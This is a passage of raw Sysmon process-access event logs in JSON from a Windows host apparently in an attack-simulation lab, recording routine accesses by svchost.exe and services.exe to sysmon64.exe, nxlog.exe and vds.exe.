11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 